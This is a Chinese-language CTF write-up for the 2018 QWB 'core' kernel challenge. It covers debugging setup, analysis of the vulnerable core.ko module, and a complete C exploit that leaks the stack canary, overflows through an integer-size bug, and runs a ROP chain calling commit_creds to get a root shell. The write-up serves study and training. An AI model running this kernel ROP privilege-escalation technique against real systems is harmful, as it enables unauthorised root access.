题目:2018-qwctf-core_give

拿到压缩包后发现vmlinux文件,就不需要手动解包了,然后解包core.cpio包,得到core目录如下:

└── core
    ├── bin
    ├── etc
    ├── lib
    │   └── modules
    │       └── 4.15.8
    │           └── kernel
    │               ├── arch
    │               │   └── x86
    │               │       └── kvm
    │               ├── drivers
    │               │   ├── thermal
    │               │   └── vhost
    │               ├── fs
    │               │   └── efivarfs
    │               └── net
    │                   ├── ipv4
    │                   │   └── netfilter
    │                   ├── ipv6
    │                   │   └── netfilter
    │                   └── netfilter
    ├── lib64
    ├── proc
    ├── root
    ├── sbin
    ├── sys
    ├── tmp
    └── usr
        ├── bin
        └── sbin

重点关注对象:start.sh

#这里需要修改一下允许内存大小,不然会运行不起来
#指定shell解释器,不然会报错找不到pushd命令
#这里因为开启了kaslr也就是随机地址,但是为了方便调试就先关闭一下,后面记得改回来
#这里不能使用-kvm ,我在调试的时候会发生调试动不了的情况,貌似是因为该文件系统已经指定了x86的kvm(这里我费了好久时间我还在想为什么调试不了。。。。)

#!/bin/zsh

gcc exp.c -g -w -static -o core/exp  

pushd core
find . | cpio -o --format=newc > ../core.cpio
popd

#-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \  原
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \ 
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
-monitor /dev/null \  #新增参数 ,为了方便终止进程使用ctrl+c即可终止,不然就需要手动kill -9 PID去杀死

core/init

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms  #这里是重点,将进程地址信息 转移到了 /tmp/kallstms 这样普通用户就可以读取kallsyms内容了
echo 1 > /proc/sys/kernel/kptr_restrict   #普通用户不能查看函数地址
echo 1 > /proc/sys/kernel/dmesg_restrict #普通用户不能通过lsmod查看ko地址
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko  #内涵加载的模块

#poweroff -d 120 -f &  #这里去掉关机
#setsid /bin/cttyhack setuidgid 1000 /bin/sh   
setsid /bin/cttyhack setuidgid 0 /bin/sh  #这里在调试的时候可以使用root查看ko基地值,但是前面去掉了kasrl所以这里也可以不需要改,看个人习惯
echo 'sh end!\n'
umount /proc
umount /sys

#poweroff -d 0  -f #去掉关机

那么小改上面的文件后就可以对内核进行调试了,但是只能单步调试和断点调试,因为附件提供的core.ko文件没有符号表,实测如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-unyTs4s5-1650252140082)(2018-qwctf-core_give.assets/image-20220418102247377.png)]

单步运行没问题:
在这里插入图片描述

next发生报错:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NqDdsLwn-1650252140086)(2018-qwctf-core_give.assets/image-20220418102514305.png)]

保护

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8sStCjWk-1650252140086)(2018-qwctf-core_give.assets/image-20220418103451864.png)]

分析

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FRXC7sAz-1650252140087)(2018-qwctf-core_give.assets/image-20220418103601370.png)]

这里通过proc虚拟文件节点方式创建了一个内核通信通道,同样的手法还有通过dev设备文件节点实现内核通信

结构体定义如下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ud3yujyx-1650252140088)(2018-qwctf-core_give.assets/image-20220418103941291.png)]

core_ioctl:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QUfHVNia-1650252140089)(2018-qwctf-core_give.assets/image-20220418104029320.png)]

core_read:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hpYdcDQg-1650252140090)(2018-qwctf-core_give.assets/image-20220418104318790.png)]

core_copy_func:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2A3hJTGS-1650252140090)(2018-qwctf-core_give.assets/image-20220418104426430.png)]

core_write:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DRiHCHED-1650252140092)(2018-qwctf-core_give.assets/image-20220418104525817.png)]

总结如下:

core_read有一个输出信息可以进行泄漏canary

coew_write + core_copy_func可实现将数据写入到栈中(可使用整型溢出绕过size的检测)

思路

因为为了调试,前面关闭了kaslr,可以先暂时不用计算具体地址,将环境rop打通后再计算偏移地址即可

保存用户态+泄漏canary

int main(){
		save();
    int fd = open("/proc/core",2);
    int offset = get_offset();
//###################leak canary#############################################
    char buf[0x40];   //这里开辟0x40的空间 防止后面read时栈溢出
    setOff(fd,0x40);  //canary的偏移为0x40
    reads(fd,buf);  //将数据读入buf
    size_t canary = ((size_t*)buf)[0]; //将buf转为指针格式,取值第一个指针值
    printf("canary -> %p\n",canary);  //打印读入数据

通过整型溢出绕过size检查

//###################rop #############################################
    size_t rop[0x100] = {0}; //初始化栈空间数据
    int i = 8;
    rop[i++] = canary; //偏移为0x40
    rop[i++] = 0; //rbp  //实际调试时rbp位置
    rop[i++] = POP_RDI + offset;
    rop[i++] = 0x6f0;
    rop[i++] = MOV_CR4_RDI + offset; //这里也可以不用,我开始以为开了smep保护
    rop[i++] = &getRoot;
    rop[i++] = SWAPGS + offset;
    rop[i++] = 0;
    rop[i++] = &intoUserStatus;

    write(fd,rop,sizeof(rop));  //向bss->name 写入数据
    copy(fd,0xffffffffffff0100); //将bss->name 数据复制到 stack中
//这里注意下因为qmemcpy(&v2, &name, (unsigned __int16)size);使用的是int16所以实际只取到了0x0100,
}

在去掉kasrl后这里的POP_RFI、MOV_CR4_RDI都可以通过ROPgadget中得到,getRoot的函数地址也是同样在内核中可以通过cat /tmp/kallsyms | grep "commit_creds"

exp.h

#include<stdio.h>
#include<unistd.h>

#define POP_RDI 0xffffffff81000b2f
#define MOV_CR4_RDI 0xffffffff81075014 //: mov cr4, rdi ; push rdx ; popfq ; ret
//#define prepare_kernel_cred 0xffffffff8109cce0  //内核中cat tmp/kallsyms | grep prepare_kernel_cred
//#define commit_creds 0xffffffff8109c8e0 //同上
#define SWAPGS 0xffffffff81a012da //: swapgs ; popfq ; ret

long long commit_creds;
long long prepare_kernel_cred;
long long vmlinux_base;

//###########################util##########################
size_t user_cs,user_ss,user_sp,user_flags;
void save(){
    asm(
        "mov %cs , user_cs;"  //cs寄存器只能通过mov保存
        "mov %ss , user_ss;"
        "mov %rsp, user_sp;"
        "pushf;"
        "pop user_flags;"
        );
}
void getRoot(){
    char* ((*pkc)(int)) = prepare_kernel_cred;
    void ((*cc)(char*))  = commit_creds;
    (*cc)((*pkc)(NULL));
}
void getShell(){
    execl("/bin/sh","sh",NULL);
}
void intoUserStatus(){
    asm(
        "push %0;"
        "push %1;"
        "push %2;"
        "push %3;"
        "push %4;"
        "iretq;"
        :
        : "r"(user_ss) ,"r"(user_sp) ,"r"(user_flags) , "r"(user_cs) ,"r"(&getShell)
        );
}

此时在没有地址随机时就可以完成提权了(具体细节再修补一下)

上面就完成了rop的搭建现在就只需要计算具体地址的偏移就可以了

这里使用pwntools计算偏移就很方便

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UAtk9vMG-1650252140092)(2018-qwctf-core_give.assets/image-20220418111134901.png)]

有了相对偏移后再得到commit_creds的真实地址后即得到模块的基地址

获取真实地址:

int get_offset(){
    FILE* fd = fopen("/tmp/kallsyms","r");
    char buff[100];
    while(1){
        if(fgets(buff,100,fd))
        {
            if(strstr(buff,"commit_creds")){
                char des[20] = {0};
                strncpy(des,buff,16);
                sscanf(des,"%llx",&commit_creds);
            }
            if(strstr(buff,"prepare_kernel_cred")){
                char des[20] = {0};
                strncpy(des,buff,16);
                sscanf(des,"%llx",&prepare_kernel_cred);
            }
        }
        else
            break;
    }
    vmlinux_base = commit_creds - 0x9c8e0;
    printf("commit_creds -> %llx\n",commit_creds);
    printf("prepare_kernel_cred -> %llx\n",prepare_kernel_cred);
    printf("vmlinux_base-> %llx\n",vmlinux_base);
    fclose(fd);
    return vmlinux_base - 0xffffffff81000000;
}

有了偏移后即得指定具体的POP_RDI

完整exp:

exp.c

#include "exp.h"

//###########################func##########################
void reads(int fd, char * buf){
   ioctl(fd,0x6677889B,buf);
}
void setOff(int fd,size_t size){
    ioctl(fd,0x6677889C,size);
}
void copy(int fd,size_t size){
    ioctl(fd,0x6677889A,size);
}
int get_offset(){
    FILE* fd = fopen("/tmp/kallsyms","r");
    char buff[100];
    while(1){
        if(fgets(buff,100,fd))
        {
            if(strstr(buff,"commit_creds")){
                char des[20] = {0};
                strncpy(des,buff,16);
                sscanf(des,"%llx",&commit_creds);
            }
            if(strstr(buff,"prepare_kernel_cred")){
                char des[20] = {0};
                strncpy(des,buff,16);
                sscanf(des,"%llx",&prepare_kernel_cred);
            }
        }
        else
            break;
    }
    vmlinux_base = commit_creds - 0x9c8e0;
    printf("commit_creds -> %llx\n",commit_creds);
    printf("prepare_kernel_cred -> %llx\n",prepare_kernel_cred);
    printf("vmlinux_base-> %llx\n",vmlinux_base);
    fclose(fd);
    return vmlinux_base - 0xffffffff81000000;
}
//###########################main##########################
int main(){
    save();
    int fd = open("/proc/core",2);
    int offset = get_offset();
//###################leak canary#############################################
    char buf[0x40];   //这里开辟0x40的空间 防止后面read时栈溢出
    setOff(fd,0x40);  //canary的偏移为0x40
    reads(fd,buf);  //将数据读入buf
    size_t canary = ((size_t*)buf)[0]; //将buf转为指针格式,取值第一个指针值
    printf("canary -> %p\n",canary);  //打印读入数据
//###################rop #############################################
    size_t rop[0x100] = {0};
    int i = 8;
    rop[i++] = canary;
    rop[i++] = 0; //rbp  //实际调试时rbp位置
    rop[i++] = POP_RDI + offset;
    rop[i++] = 0x6f0;
    rop[i++] = MOV_CR4_RDI + offset;  //这里也可以不用,我开始以为开了smep保护
    rop[i++] = &getRoot;
    rop[i++] = SWAPGS + offset;
    rop[i++] = 0;
    rop[i++] = &intoUserStatus;

    write(fd,rop,sizeof(rop));  //向bss->name 写入数据
    copy(fd,0xffffffffffff0100); //将bss->name 数据复制到 stack中
}

getshell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MkBfsDcM-1650252140093)(2018-qwctf-core_give.assets/image-20220418111916326.png)]
参考资料:https://lantern.cool/note-pwn-kernel-rop/#%E5%88%86%E6%9E%90